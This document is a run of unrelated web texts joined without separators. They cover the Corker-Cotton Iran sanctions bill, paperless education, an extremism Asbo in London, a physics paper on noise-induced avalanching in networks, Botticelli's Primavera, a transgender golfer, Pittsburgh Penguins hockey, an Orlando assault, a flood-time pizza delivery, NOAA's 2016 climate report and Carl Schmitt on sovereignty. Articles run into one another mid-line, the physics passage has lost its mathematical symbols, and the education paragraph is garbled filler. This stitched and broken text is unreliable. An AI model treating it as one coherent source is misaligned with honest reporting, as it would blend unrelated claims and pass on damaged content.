The agreement, struck in 2015 by former President Barack Obama, eased some sanctions on Iran in exchange for rollbacks to its nuclear weapon-making abilities. Trump lambasted the deal on the campaign trail, but the White House has cited his decision to keep waiving penalties against Tehran as proof that he is more interested in striking a stronger deal — particularly when it comes to sunset provisions in the original agreement — than blowing it up.
Corker and Cotton's plan is designed to achieve those goals. According to a summary released by Corker's office, the Republican duo's proposal would "effectively" eliminate the deal's sunset when it comes to U.S. sanctions and institute an automatic reinstatement of penalties against Iran if the nation comes within a year of nuclear capability.
The forthcoming GOP bill also would enhance verification authority for international inspectors and "limit Iran's advanced centrifuge program," according to the summary. Corker told reporters that he expects the current requirement for Trump to certify Iran's compliance every 90 days to be "far less relevant if our legislation passes."
It's those sunset provisions winding down the nuclear deal with Iran that have raised concerns among opponents who want to see a tougher longer-term strategy toward Tehran. For conservative critics of the deal, the Corker-Cotton framework's attempt to tackle the long-term future of Iranian de-nuclearization promises to unite Republicans behind a single approach.
It also marks a notable alignment among Trump, his longtime ally Cotton, and Corker, who once was an ally of the president's but has more recently publicly feuded with him, even saying the White House is a form of "adult day care" for the president.
Sign up here for POLITICO Huddle A daily play-by-play of congressional news in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time.
However, those toxic relations between Corker and Trump helped spark White House interest in involving Rubio in the process of crafting an Iran strategy. Sources told POLITICO that the White House last week dispatched United Nations Ambassador Nikki Haley — a Rubio ally who shares his hawkish views, in contrast to Tillerson — to sound the Floridian out as a possible point person in Congress on Iran.
Rubio also emerged as a viable pick for the White House because he’s a member of the Foreign Relations Committee and officials had a good experience working with him on Venezuela and Cuba policy.
In addition, White House officials were concerned that Corker wasn’t conservative enough to attract hawks while Cotton, despite his conservative credentials, doesn’t have a reputation of being able to build coalitions or win over Democrats. With Rubio emerging as a swing vote in the GOP caucus as the White House and Senate coordinated on Iran Thursday night, the three GOP senators' offices were asked to issue a joint press release.
But Corker and Cotton's offices opted to go forward without Rubio.
Rubio, who then canceled TV appearances scheduled for Sunday, responded not by directly criticizing the process or the framework that Corker and Cotton produced, but by taking aim at Iran and the underlying Obama-era deal.
“I still have deep skepticism about the deal writ large. If it’s not in our national security interest, what’s the argument for not just re-imposing sanctions?” Rubio said.
“Iran, what they’ve done here, is they’ve secured themselves a 10-year period of time where they can generate revenue to rebuild their economy," the senator added. "They can continue to develop ballistic missiles. They can continue to expand their conventional capabilities. They can continue to sponsor terrorism. And they can continue to do significant research and development.”Education is one major field where huge amounts of paper, is used. Class rooms, note taking, reports and paperless billing.
Data collection etc warrant the use of paper to store and retrieve information and knowledge.
Education has many sectors. Research is one of the most important among them. Research is the activity which takes up an assumption, inquiries in detail, collect relevant data, analyses it makes generalizations and establishes a conclusion. In all, it adds to existing knowledge or creates fresh knowledge for better future. To engage in this ordered and meticulous activity, there is a need to collect prior digital connect data and information as to what has been done in this matter, collect huge amounts of data from the samples, keep records, use a lot of notes while using tools of data collection, write detailed reports and exchange information with associates and peers. This usually means using a lot of paper.
The problem does not end there. In research, we need to retrieve and compare data very often. With written paper records and paper billing records, it is a Herculean task. Then what is the best way to handle the situation? The best way is to use digital connect technology where all these tasks can be handled efficiently by devices and software, specially designed for the purpose.
Research has shown that use of digital connect technology has shown more efficiency and productivity of student performance.
The above observation makes the case for paperless education very strong for new generation. It is advisable to go along the technical advances and make education delivery more efficient.
AdvertisementsImage copyright Metropolitan Police Image caption Jordan Horner has been linked to extreme religious groups
A man from east London has been given a "landmark" Asbo for spreading extremist religious views, the Met Police said.
Jordan Horner, 20, of Walthamstow, has been linked to extreme religious groups and taken part in vigilante patrols and street protests promoting extreme versions of Islam, police said.
Restrictions were placed on him at the Old Bailey for five years.
Waltham Forest Police said it sent a "clear message" and officers added it was a "landmark case".
The conditions of his Asbo include not being in possession of a loudhailer in a public place.
He is also forbidden from being in public with four named men for any purpose other than peaceful worship.
They include radical Islamist preacher Anjem Choudary and Royal Barnes, who this week admitted posting videos on YouTube glorifying the killing of Fusilier Lee Rigby.
He is also restricted from entering educational establishments and forbidden from promoting Sharia law, distributing unsolicited material and damaging public adverts.
Asbos, first introduced across England, Scotland and Wales in 1998 to tackle anti-social behaviour, can prohibit actions which are not in themselves criminal but can be viewed as a prelude to a crime.The role intrinsic statistical fluctuations play in creating avalanches – patterns of complex bursting activity with scale-free properties – is examined in leaky Markovian networks. Using this broad class of models, we develop a probabilistic approach that employs a potential energy landscape perspective coupled with a macroscopic description based on statistical thermodynamics. We identify six important thermodynamic quantities essential for characterizing system behavior as a function of network size: the internal potential energy, entropy, free potential energy, internal pressure, pressure, and bulk modulus. In agreement with classical phase transitions, these quantities evolve smoothly as a function of the network size until a critical value is reached. At that value, a discontinuity in pressure is observed that leads to a spike in the bulk modulus demarcating loss of thermodynamic robustness. We attribute this novel result to a reallocation of the ground states (global minima) of the system's stationary potential energy landscape caused by a noise-induced deformation of its topographic surface. Further analysis demonstrates that appreciable levels of intrinsic noise can cause avalanching, a complex mode of operation that dominates system dynamics at near-critical or subcritical network sizes. Illustrative examples are provided using an epidemiological model of bacterial infection, where avalanching has not been characterized before, and a previously studied model of computational neuroscience, where avalanching was erroneously attributed to specific neural architectures. The general methods developed here can be used to study the emergence of avalanching (and other complex phenomena) in many biological, physical and man-made interaction networks.
Networks of noisy interacting components arise in diverse scientific disciplines. Here, we develop a mathematical framework to study the underlying causes of a bursting phenomenon in network activity known as avalanching. As prototypical examples, we study a model of disease spreading in a population of individuals and a model of brain activity in a neural network. Although avalanching is well-documented in neural networks, thought to be crucial for learning, information processing, and memory, it has not been studied before in disease spreading. We employ tools originally used to analyze thermodynamic systems to argue that randomness in the actions of individual network components plays a fundamental role in avalanche formation. We show that avalanching is a spontaneous behavior, brought about by a phenomenon reminiscent to a phase transition in statistical mechanics, caused by increasing randomness as the network size decreases. Our work demonstrates that a previously suggested balanced feed-forward network structure is not necessary for neuronal avalanching. Instead, we attribute avalanching to a reallocation of the global minima of the network's stationary potential energy landscape, caused by a noise-induced deformation of its topographic surface.
Funding: This material is based upon work supported by the National Science Foundation ( http://www.nsf.gov ) under Grant Number CCF-1217213. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript. Any opinions, findings, and conclusions or recommendations expressed in this material are those of the authors and do not necessarily reflect the views of the National Science Foundation.
Introduction
An important problem in many scientific disciplines is understanding how extrinsic and intrinsic factors enable a complex physical system to exhibit a bursting behavior that leads to avalanching [1], [2]. Avalanching is a form of spontaneous behavior characterized by irregular and isolated bursts of activity that follow a scale-free distribution typical to systems near criticality. In the brain, this mode of operation is thought to play a crucial role in information processing, memory, and learning [2]–[6].
Although avalanche dynamics have been extensively studied in vitro [7] and in vivo [8], [9] for cortical neural networks, it is not clear what causes avalanching. A recent in silico attempt to address this issue [10] was based on approximating the dynamics of a Markovian model of nonlinear interactions between noisy excitatory and inhibitory neurons by Gaussian fluctuations around the macroscopic system behavior using the linear noise approximation (LNA) method of van Kampen [11]. This led to the conclusion that the cause of neural avalanches is a balanced feed-forward (BFF) network structure. We argue here that the Gaussian approximation used to arrive at this conclusion is not appropriate for studying avalanching, thus leading to deficient results. As a consequence, understanding the underlying causes of avalanching in silico is still an open problem.
To address this challenge, we introduce a theoretical framework that allows us to examine the role of intrinsic noise in inducing critical behavior that leads to avalanching. Although the idea that noise may induce avalanching has been proposed more that a decade ago [12], our framework leads to a novel understanding of the underlying causes of avalanching in a particular class of complex networks. We focus on a general Markovian network model, which we term leaky Markovian network (LMN), with binary-valued state dynamics. These dynamics are described by a time-dependent probability distribution that evolves according to a well-defined master equation [13] (see Methods for details). It turns out that a LMN is a continuous-time stochastic Boolean network model with a state-dependent asynchronous node updating scheme (we provide details in Text S1). LMNs can model a number of natural and man-made systems of interacting species, such as genetic, neural, epidemiological, and social networks.
Recent work has clearly demonstrated the importance of stochastically modeling physical systems using Markovian networks. The main reason is that intrinsic noise produced by these networks may induce behavior not accounted for by deterministic models [14]–[17]. Examples of such behavior include the emergence of noise-induced modes, stochastic transitions between different operational states, and “stabilization” of existing modes.
In this paper, we study the effect of intrinsic noise on avalanching by using a LMN model. We do so by employing the notion of potential energy landscape [13], [18], [19] and by establishing a connection between statistical thermodynamics and the kinetics of bursting. We quantify the landscape by calculating logarithms of the ratios between the stationary probabilities of individual states and the stationary probability of the most probable state. To reduce computational complexity, we follow a coarse graining approach that transforms the original LMN model into another (non-binary) LMN model with appreciably smaller state-space. To accomplish this task, we partition the nodes of the LMN into homogeneous subpopulations and characterize system behavior by using the dynamic evolution of the fractional activity process, which quantifies the fraction of active nodes (nodes with value 1) in each subpopulation. Moreover, we parameterize the LMN in terms of the network size, where is the net number of nodes in the network and is a normalizing constant such that can be approximately considered to be continuous-valued. We refer the reader to the Methods section for details.
The behavior of the fractional activity process is fundamentally affected by. In general, the strength of stochastic fluctuations (intrinsic noise) in the activity process may be thought of as the probability of moving uphill on a fixed potential energy surface, which decays exponentially with increasing. At sufficiently large network sizes, the LMN operates around a ground state of the potential surface located at a fixed point predicted by the macroscopic equations associated with the LNA method, which we assume to be unique, nonzero, and stable (see Methods and Text S1 for details). In this case, a new mode of operation is introduced in the system, as the network size decreases, in the form of a potential well in the topographic surface of the energy landscape, located at the inactive state. This is a “noise-induced” mode, since it appears at small network sizes at which the fractional activity process is subject to appreciable intrinsic fluctuations.
We show in this paper that noise-induced deformation of the stationary potential energy landscape is the underlying cause of avalanching in LMNs. For sufficiently large network sizes, the potential energy landscape can be approximated by a quadratic surface centered at. In this case, the LMN operates within the potential well associated with this mode, except for rare and brief random excursions away from that mode. As a consequence, the fractional activity process will fluctuate in a Gaussian-like manner around the macroscopic mode. At smaller network sizes, the fractional activity process is characterized by a bistable behavior between the macroscopic and noise-induced modes, spending most time within the potential well associated with the macroscopic mode, at which the potential energy surface attains its global minimum, while occasionally jumping inside the potential well associated with the noise-induced mode at. As a consequence, the fractional activity dynamics take on a bursting behavior characterized by long periods of appreciable activity followed by short periods of minimal (almost zero) activity. When the network size decreases further, the noise-induced mode becomes the main stable operating point (i.e., the point at which the potential energy surface attains its global minimum), whereas the macroscopic mode becomes shallower and eventually disappears. In this case, the system is trapped within the potential well associated with the noise-induced mode, except for random and brief excursions away from that mode. As a consequence, the fractional activity process will still exhibit bursting, but now characterized by long periods of minimal (almost zero) activity followed by short bursts of appreciable activity.
Thermodynamic analysis reveals critical behavior in LMNs (we provide details in the Methods section and Text S1). By employing a number of statistical thermodynamic quantities, such as internal and free potential energies, entropy, internal pressure, pressure and bulk modulus (inverse compressibility), we effectively summarize the stochastic behavior of a LMN as its size decreases to zero. We also use these summaries to quantify network robustness and the stability of a given state. In agreement with the classical theory of phase transitions, the previous thermodynamic quantities evolve smoothly as a function of until a critical network size is reached. At this size, a discontinuity is observed in the system pressure, which produces a spike in the bulk modulus demarcating loss of thermodynamic robustness. Critical behavior is caused by reallocation of the ground states (global minima) of the potential energy landscape due to noise-induced deformation of its topographic surface. In particular, observed critical behavior produces two distinct phases: one in which the fixed point predicted by the macroscopic equations associated with the LNA method constitutes the ground state of the potential energy landscape and one in which the ground state is reallocated to the noise-induced mode at. We conclude that avalanching is a complex mode of operation that dominates system dynamics at near-critical and subcritical network sizes due to deformations of the potential energy landscape as the network size decreases to zero, caused by appreciable levels of intrinsic noise.
It is important to mention here that our work provides a novel stochastic perspective to the well-known phenomenon of self-organized criticality (SOC) [20]; i.e., the spontaneous emergence of critical behavior without tuning system parameters whose values are influenced by external factors. We approach SOC from the perspective of nonlinear Markovian dynamics and directly associate self-organization properties of a complex network with the existence of a unique probability distribution at steady-state, which leads to a unique stationary potential energy landscape. Our work demonstrates that SOC may emerge as a consequence of two interweaved adaptive processes that may take place on separate timescales [21], [22]: a short timescale convergence to dynamic equilibrium (stationarity), during which the topological structure of a neural network subsystem is kept relatively fixed (is quasistatic), and longer timescale alterations in topological properties that lead to changes in the size of the network. For example, the neural activities modeled by our LMNs occur on a short timescale compared to the timescale of neural development, where it is well known that programmed cell death plays a major role [23]. This large reduction in the number of neurons could presumably serve to bring neural subsystems within proximity of their critical sizes in accordance with their underlying connectivity structures. On the other hand, an adaptive interplay between the short timescale neural dynamics and the quasistatic topological network structure may lead to a longer timescale topological self-organization that enlarges or contracts the neural subsystem with an objective to keep the system robustly close to criticality [22]. We show that such long timescale alterations can result in a spontaneous reallocation of the ground states in the stationary potential energy landscape due to a noise-induced deformation of its topographic surface. Our approach associates SOC with observable stochastic multistability, which is directly related to the phenomenon of phase transition, thus bridging the gap between “self-organized” and “classical” criticality (see also [24]).
Finally, we would like to point out that, in the neural network literature, it is commonly said that avalanching occurs in the supercritical regime near the critical point. On the other hand, we show in this paper that avalanching occurs in a subcritical regime near the critical point. To avoid confusion, the reader must keep in mind that these statements do not contradict each other. Correctly using the terms “subcritical” and “supercritical” depends on the parameter employed to take a system from one regime to the other. Contrary to existing works that study criticality in terms of functional parameters (e.g., in terms of the firing rate of all neurons in a neural network), we study in this paper criticality in terms of a structural parameter, the system size, which is inversely related to the strength of intrinsic noise. In this case, avalanching occurs at network sizes smaller but near a critical value, which forces us to use the aforementioned terminology.Primavera by Sandro Botticelli is one of the most famous paintings of the Renaissance. Its fame rests not just on its visual appeal but on the tangled story behind it and its unfathomable symbolism. Here are 7 things you may not know about this great masterpiece:
1. It was commissioned by a banker
Primavera, which also is known as “The Allegory of Spring” was painted for the powerful banking family – to be accurate, for Lorenzo di Pierfrancesco de’ Medici, a cousin of a famous Lorenzo the Magnificent. The Medici was a very important Florentine banking family and later royal house of Tuscany.
2. Lorenzo di Pierfrancesco may be painted on the scene
It is frequently suggested that Lorenzo di Pierfrancesco is the model for Mercury in the portrait, and his bride Semirande represented as Flora.
3. Primavera may be the same girl who was the model for Venus
It has also been proposed that the model for Venus was Simonetta Vespucci, the most beautiful woman who lived then in Florence, wife of Marco Vespucci and perhaps the mistress of Giuliano de’ Medici (who is also sometimes said to have been the model for Mercury).
4. It’s meaning it’s still unclear
There is one conception that seems to be quite sensible. According to it the painting as the realm of Venus, sung by the ancient poets and by Poliziano (famous scholar at the court of the Medici). On the right Zephyrus (the blue faced young man) chases Flora and fecundates her with a breath. Flora turns into Spring, the elegant woman scattering her flowers over the world. Venus, in the middle, represents the “Humanitas” (the benevolence), which protects men. On the left the three Graces dance and Mercury dissipates the clouds.
5. It has no official title
Yes, you’ve read me well. It was first called La Primavera by the art historian Giorgio Vasari who saw it at Villa Castello, just outside Florence, in 1550.
6. It’s extremely detailed
Especially the meadow is very naturalistically depicted. There are hundreds of types of flowers there.
7. It looks similar to the Flemish tapestries
All the details, symmetry, colors and motifs makes Primavera similar to Flemish tapestries that were popular at the time. It wouldn’t be weird, as the Medici’s where very powerful family and they had some connections with the Netherlands.Spread the love
Miane Bagger is the first male-to-female transgender golfer to play professionally.
She was born a male in Denmark in 1966, and emigrated to Australia in 1979, where she presently splits her time between Adelaide and Perth.
As the Australian Amateur Golf Association had no existing rulings againest transgenders, Bagger was allowed to compete and won the South Australian Championship in 1999, 2001 and 2002. She was ranked as high as 6th on the Australian amateur golf circuit.
At the time this caused controversy, with strong arguments on both sides.
In 2003 she played in the Australian Women’s Open and attempted to join the Australian Ladies Professional Golf [ALPA] tour. In 2004 she was admitted.
As of 2008, Bagger is still unable to compete in the US based LPGA as they maintain a ‘female at birth’ entry condition.PITTSBURGH -- Through the Pittsburgh Penguins' first 47 games last season, they sat atop the Metropolitan Division with a 16-point lead on the second-place Philadelphia Flyers. The Penguins had an eight-point advantage on the Boston Bruins for the top spot in the Eastern Conference, and they had gone 7-2-1 in their previous 10 games despite being ravaged by injuries through the first few months of the season.
Behind the bench was Dan Bylsma, the winningest coach in Penguins history.
Pittsburgh is again near the top of the division and conference standings through 47 games this season under new coach Mike Johnston, but heading into Wednesday Night Rivalry game against the Washington Capitals at Verizon Center (8 p.m. ET; NBCSN, TVA, SN1) success hasn't come as easily as it seemed to last season.
The Penguins went 6-2-1 in October, when they had a plus-14 goal differential that was tied with the Minnesota Wild for the NHL lead. Their power play was converting at better than 40 percent, and it seemed their penalty kill had finally found its bearings.
Expectations rose considerably for a group being coached by someone in his first season behind an NHL bench.
But Pittsburgh then suffered the same fate it had a year ago, when one key player after another fell victim to injury.
Johnston has kept Pittsburgh at or near the top of the Metropolitan Division standings while inserting several call-ups from Wilkes-Barre/Scranton of the American Hockey League into the lineup. The Penguins have relied on defensemen such as Derrick Pouliot, Scott Harrington and Brian Dumoulin, as well as forwards Bryan Rust, Bobby Farnham and Jayson Megna, among others, to replace some of their more productive players.
"What happens is, when you add that many new players to your lineup, part of the time you're trying to bring them up to speed to what you're doing," Johnston said. "We talked about the similarities in [Wilkes-Barre/Scranton] as here. There are quite a few, but there are some differences too.
"So, bringing up, as we have with a number of [defensemen] and forwards we have, you're trying to work them in and just get them to know enough so that they can play well, but not overwhelm them with too much. Your building blocks get sort of halted for a little bit and now you start to progress from there, and that's what we're looking forward to heading into the second half here, after the All-Star break with the stretch run."
Much like last season, Pittsburgh has battled through injuries and illnesses to the likes of Kris Letang, Pascal Dupuis, Chris Kunitz, Olli Maatta, Sidney Crosby and others.
Unlike last season, the injuries eventually caught up to the Penguins, who were three points behind the New York Islanders at the All-Star break. The Penguins and Islanders each won Tuesday in their first game after the break, keeping Pittsburgh three points behind.
Pittsburgh heads into its game against the Capitals after a 5-3 home victory against the Winnipeg Jets on Tuesday. The win ended a four-game losing streak, matching the Penguins' longest skid this season. They did not lose more than three consecutive games last season.
In their final game before the break, Pittsburgh lost 3-2 in a shootout to the Chicago Blackhawks. But despite being without three of their top-five scorers, Letang, Evgeni Malkin and Patric Hornqvist, and with Crosby battling a lower-body injury, the Penguins displayed an impressive effort that could give the locker room a boost entering the final few months of the season.
"I think [the All-Star break] was only our second four-day break all year. I don't think we have any more than [a two-day break] coming up for the rest of the season," Kunitz said. "So it was well-needed. Hopefully, the guys got a fresh breath of air. We haven't been playing our best hockey, but I think we've found a way for 60 minutes to hang in with a Blackhawks team with [us a] few guys short, and if we can build off games like that, hopefully we'll make a push here late in the season to get that confidence going."
Johnston expected this. During his introductory press conference on June 25, the new coach said he was going to use the regular season as a vessel to prepare the Penguins for the Stanley Cup Playoffs. He said he wanted to win regular-season games, but doing so wasn't as important as making sure his players were playing exactly how he wanted them to.
"You want your team to get better every game, and then you want to get into the playoffs playing your best hockey," said defenseman Simon Despres, who is having his most productive NHL season. "That's how it was with Dan. That's how it is with Mike. That's how it is with every coach. Obviously, you want the two points because you want to make the playoffs, so it depends on the situation with the team.
"If you're battling for a playoff spot, maybe you more want the points."
That narrative has held true. Johnston has been willing to juggle lines even when each of Pittsburgh's four lines is playing well, just to test how the forwards would perform alongside different linemates. The same can be said with the defensive pairings, with the exception of Rob Scuderi and Despres, who have skated with each other for the bulk of the season.
More recently, Johnston has been forced to experiment because of injuries, but he had been making changes to the lineup well before the Penguins started losing bodies around the middle of November.
Despite the injuries and Johnston's propensity to make frequent changes, the Penguins are within three points of the Islanders (65 points) and Detroit Red Wings (65) for the top spot in the Eastern Conference.
Pittsburgh's offense has not been quite as potent as last season's version, averaging 3.00 non-shootout goals, down from 3.11 last season. The defense has also been a little more leaky, allowing four more non-shootout goals (116) through 47 games than it did last season.
Those numbers don't matter to Johnston. He has stated several times this season he is not concerned about points, but rather how the Penguins are performing. Pittsburgh has been struggling lately, not just in earning points, but also in impressing its coach.
As injured players return to the lineup, Johnston feels the Penguins will finally reach their potential. But he acknowledges that the road there hasn't been a smooth one.
"We haven't got our game totally down," Johnston said. "We talked about it in the month of December, it was a little bit of patchwork, trying to make sure that we held on to our game and add some players in, and as we start to get some players back, I expect we'll get back to the type of game that we can play, for sure."Orlando, FL – A 21-year -old has been arrested after sending his father to the hospital in critical condition with a single punch, moments after learning his father was having an affair.
Taylor Harris was with his mother and father eating dinner at an Orlando Dave and Buster’s restaurant. They were on a vacation from Mississippi and Taylor had just learned his father was cheating on his mother. An already angered Taylor became even more agitated when he saw his dad was receiving text messages from his lover while they were eating dinner.
Taylor stormed out of the restaurant, yelling behind him that his father better not follow him into the parking lot. Taylor’s mother would later tell police that she urged her husband to follow Taylor outside to find out why he was so upset.
When father and son met in the parking lot, an argument ensued. When Taylor’s father turned to walk away, Taylor swore, pushed his dad and hit him once in the face. According to the police report, a witness stated, “When the victim fell and hit the concrete she could hear the victim’s head hit the concrete three car lengths away.”
As his father lay in the parking lot, Taylor went back in the restaurant crying and told his mother he left the restaurant to cool off but his dad “got in his face and would not leave him alone.”
Meanwhile, out in the parking lot, a medic and his registered EMT wife, arrived for dinner and saw the man lying motionless. They began performing CPR after he stopped breathing and lost his pulse. A county Fire Rescue crew arrived shortly after and resuscitated the man.
Taylor was arrested and charged with aggravated battery with great bodily harm and domestic violence. His father is currently in critical condition at the Orlando Regional Medical Center’s neurological intensive care unit.Joshua Curry
Caleb Hartsell makes a pizza delivery despite flooding on Sunday evening
At the peak of flooding on Sunday evening, Caleb Hartsell headed out from the East Bay Domino's pizza with 4 orders while the clock was ticking. After driving through plenty of flooded streets and getting the first two to the door within minutes, he turned onto Smith St. and saw half a block under about a foot and a half of water.
After a line of cars ahead of him turned around, he decided to brave it and plowed through. Once he parked on the other side, he simply took his shoes off and walked back into it. An astonished girl opened the door to see him standing in front of the water.
Matter of factly, he collected the payment and walked back into the rippling river of a road. He still had another delivery to make and there were orders piling up back at the store.
Hartsell has been working for Domino's for two months and said,"It's definitely been one of the craziest days, because of the flooding and all."
For the $18.00 order of two medium pizzas and a 2 liter of soda, he got a $4.00 tip.
He wasn't disappointed in the tip, but said, "my craziest tip was when I delivered to a frat house and they had a stripper. I got invited in, but it was like 3'oclock in the afternoon, you know?" He declined the offer.
Some video of flooding around downtown on Sunday:
Smith and VanderhorstCalhoun near RutledgeLast year was the third in a row to break global temperature records, the NOAA report found. | Fred Tanneau/AFP/Getty Images 2016 confirmed as planet's hottest year The report is the most comprehensive assessment of climate change released by the Trump administration.
Last year was Earth's warmest on record, according to an international climate report issued Thursday by the National Oceanic and Atmospheric Administration that documents other record-breaking global warming trends of 2016.
The report is the most comprehensive assessment of the effects of climate change released by the Trump administration, and it could make it easier to refute efforts from the president and his Cabinet members to publicly discount climate science as they have frequently done in the past. However, the annual report does not detail the link between climate change and human activities such as burning coal or gasoline. Those conclusions are drawn in a separate draft portion of the National Climate Assessment highlighted by The New York Times earlier this week.
Story Continued Below
The “State of the Climate” publication, which confirms findings released before President Donald Trump was sworn in, outlines the observed outcomes of swiftly rising temperatures. |
as the intellectual basis of contemporary calls for a strong executive power unhampered by constraints of legality (Dyzenhaus 2006, 35–54; Scheuerman 2006; Posner and Vermeule 2010, 3–24). Finally, there are an increasing number of authors who concentrate on particular arguments of Schmitt's that are seen as worth developing in a systematic context. Two focal points of recent interest are Schmitt's theory of popular sovereignty (Arato 1995; Lindahl 2007; Kalyvas 2008, 79–186; Loughlin 2010, 209–37; Kahn 2011; Colon-Rios 2012, 79–101; Minkkinen 2013; Vinx 2013a) and his conception of international order (Odysseos and Petito 2007; Slomp 2009; Legg 2011; Benhabib, 2012; Vinx 2013b).
Modern liberal constitutions do not acknowledge a bearer of sovereign authority, and modern legal and constitutional theory has often tried to dispense with the concept. But Schmitt argues, in Political Theology, that such attempts to get rid of sovereignty cannot be successful. In Schmitt's view, there can be no functioning legal order without a sovereign authority (PT 5–35; Dyzenhaus 1997, 42–51; McCormick 1997, 121–56; Hofmann 2002, 49–64; Kennedy 2004, 54–91; Kahn 2011, 31–61; Croce and Salvatore 2013, 13–29). According to Schmitt, liberal constitutionalists typically hold that all legitimate particular acts of state must apply general legal norms, so that people are subject only to the determinate and predictable demands of the law, not to the potentially arbitrary authority of persons (PT 18–26; see also CT 169–96, CPD 33–50). This view overlooks, Schmitt argues, that general legal norms often fail to provide determinate guidance without considerable interpretation and interstitial legislation (PT 29–35; GU 21–43). In order for the law to become effective, there needs to be an authority that decides how to apply general legal rules to concrete cases and how to deal with problems of contested interpretation or under-determination. However, the material content of the law does not itself determine who is to interpret and to apply it. Hence, a sovereign authority prior to the law is needed to decide how to apply general legal norms to particular cases (PT 29–35).
This argument appears to assume that all legal norms are material norms providing substantive grounds of legal decision. But modern legal systems typically contain norms of competence in addition to material norms. Hence, it seems that the view that all legitimate political authority depends on legal authorization is not as indefensible as Schmitt suggests (Kaufmann 1988, 337–45). The law can determine, for any material legal norm, which person or institution has the competence to interpret and apply it. Subjects of the law may admittedly have to accept that a final decision might turn out to be binding even though wrong. And in this limited sense, Schmitt is right to appeal to Hobbes's dictum that it is authority and not truth that makes the law. (PT 33–4) But that a legal system, through its norms of competence, provides for the authoritative interpretation of its material legal norms hardly entails that it must contain a sovereign in the traditional understanding of that term. Schmitt's implicit reply to this objection claims that the applicability of legal norms presupposes a general condition of social normality. Legal norms, Schmitt argues, cannot be applied to a chaos. They require a “homogeneous medium.” (PT 13) No legal norm, in Schmitt's view, can govern an extreme case of emergency or an absolute state of exception. In a completely abnormal situation, the continued application of the law through the normal administrative and judiciary channels is going to lead to haphazard and unpredictable results, while preventing effective action to end the emergency (PT 13; GU 44–114; Scheuerman 1996; Hofmann 2002, 17–33). If the applicability of material legal norms presupposes a condition of normality, Schmitt assumes, a polity must be entitled to decide whether to suspend the application of its law on the ground that the situation is abnormal. Hence Schmitt's famous definition of sovereignty, according to which the sovereign is he who decides on the state of exception: If there is some person or institution, in a given polity, capable of bringing about a total suspension of the law and then to use extra-legal force to normalize the situation, then that person or institution is the sovereign in that polity (PT 5). Any legal order, Schmitt bluntly concludes, is based on a sovereign decision and not on a legal norm (PT 10, 12–3).
One might reply to this line of thought that it is perfectly possible to establish legal conditions for the declaration of a state of emergency as well as legal constraints on the permissible means of dealing with an emergency. Schmitt argues, though, that attempts to legalize the exceptional situation are doomed to failure. It is impossible to anticipate the nature of future emergencies and to determine in advance what means might be necessary to deal with them. As a result, the positive law can at best determine who is to decide whether there is an emergency that requires a wholesale suspension of the law. But the sovereign decision cannot be guided by existing material law (PT 11–2). In Schmitt's view, it is not even necessary for the law to determine who can take a decision on the exception. There can be a sovereign authority, in a jurisprudentially relevant sense, even where such an authority is not recognized by positive constitutional law. All that matters is whether there is a person or institution that possesses the ability, as a matter of fact, to take a decision on the exception. If a sovereign, so understood, exists, its authority to suspend the law does not stand in need of positive legal recognition, since the law's applicability itself depends on a situation of normality secured by the sovereign (PT 12–3). What about cases, though, where sovereignty is not just unrecognized in positive law but where there is no one, as a matter of fact, who could successfully take a decision to suspend the law altogether? This condition seems to apply in many contemporary western democracies. Perhaps such polities are ill-prepared to deal with radical emergencies. But it would be implausible to conclude that they do not possess a legal order. Schmitt's full response to this objection will only become clear from his discussion of ‘the political.’ The objection suggests, however, that Schmitt's claims about sovereignty cannot plausibly be understood as claims about the presuppositions of the mere factual existence of a legal system. Schmitt must be arguing that wherever the situation of normality or homogeneity that makes the results of the application of law determinate and predictable is no longer guaranteed by a sovereign, the positive legal system, consisting of material norms and of positive norms of competence, can no longer be legitimate (Mauss 1980, 81–121; Scheuerman 1999, 15–37; Hofmann 2002).
If the sovereign's decision on the exception is not subject to any material legal constraint, the power to decide on the state of exception is tantamount to the power to decide what should count as a state of exception (PT 13; Norris 2007). A sovereign's view on this issue, however, must be responsive to prevailing social attitudes. If it were not, a sovereign could hardly possess the factual capability to suspend the law and to act successfully against the perceived emergency. To do so, his decision will need to be supported by a sufficiently large and powerful constituency. Nevertheless, the need for sovereign decision will be greatest in a society torn by serious ideological or social conflict. And if there is no unanimity among social groups as to what situation to perceive as normal or exceptional, the sovereign decision will inevitably have to side with one group's conception of normality against that of another. The sovereign creation of a condition of normality, in other words, constitutes a community's political identity and it is likely to do so through the forcible suppression of those whose conception of normality differs from the sovereign's (D 132–47). The question of the legitimacy of law thus turns on the question of the legitimacy of an identity-constituting sovereign exercise of foundational violence.
Schmitt admits that the principle of democracy is the only principle of legitimacy that is available as an ideological basis for a contemporary constitution (PT 50–2; CPD 22–32). If Schmitt's conception of sovereignty is to be defensible, it must therefore be given a democratic interpretation. But it is difficult to see how this could be possible. The only candidate for sovereignty in a democratic polity is the popular sovereign, composed of politically equal citizens. A popular sovereign, it seems, cannot be a Schmittian sovereign, as it will only be able to decide under existing constitutional rules that determine how the people as a collective are to form a unified will. Schmitt prepared the groundwork for a solution to this problem in Dictatorship, his historical study of the development of the institution of dictatorship (McCormick 1997, 121–56; Cristi 1998 108–25; Kalyvas 2008, 88–126).
Dictatorial power in its original, Roman form is a formally delegated and time-limited power to defend an already existing republican constitution through the use of extra-legal force (D xlii-xliv, 1-19). A Roman dictator, then, was clearly not a sovereign in Schmitt's sense of the term. In the course of modern constitutional history, however, the institution of dictatorship, Schmitt claims, fused with sovereignty, and this fusion related sovereignty to democracy. The first step towards this fusion, in Schmitt's account, was the use of commissarial dictatorship in the early modern absolutist state. The absolutist sovereign did possess the sovereign power to decide on the exception, and was thus capable of authorizing commissars to use dictatorial methods in his name. But the notions of dictatorship and sovereignty were not yet fused. The commissarial dictators of the absolutist sovereign were mere agents of the sovereign and did not themselves possess the power to decide on the exception. The absolutist sovereign, in turn, though he had the power to decide on the exception, was not himself a dictator; first of all since he did not decide under someone else's but by his own authority, and secondly because he was of course expected to rely on legal governance as his normal mode of operation (D 20–33). But the relation between sovereignty and dictatorship changed in the French revolution. The revolutionary governments relied heavily on dictatorial action to create a new situation of normality that would allow a new constitution to come into force. The revolutionary governments, like the absolutist sovereign, claimed the power to decide on the exception, but they did not claim to be sovereign. Rather, they claimed to exercise the authority to decide on the exception in the name of the French people, even while they were ruling the French people by the use of dictatorial methods (D 132–47). Sovereignty and dictatorship had become fused in the novel institution of sovereign dictatorship: A sovereign dictator is a dictator who does not defend an already existing constitution but attempts to create a new one and who does so not by his own authority but in the name of the people (D 112–31).
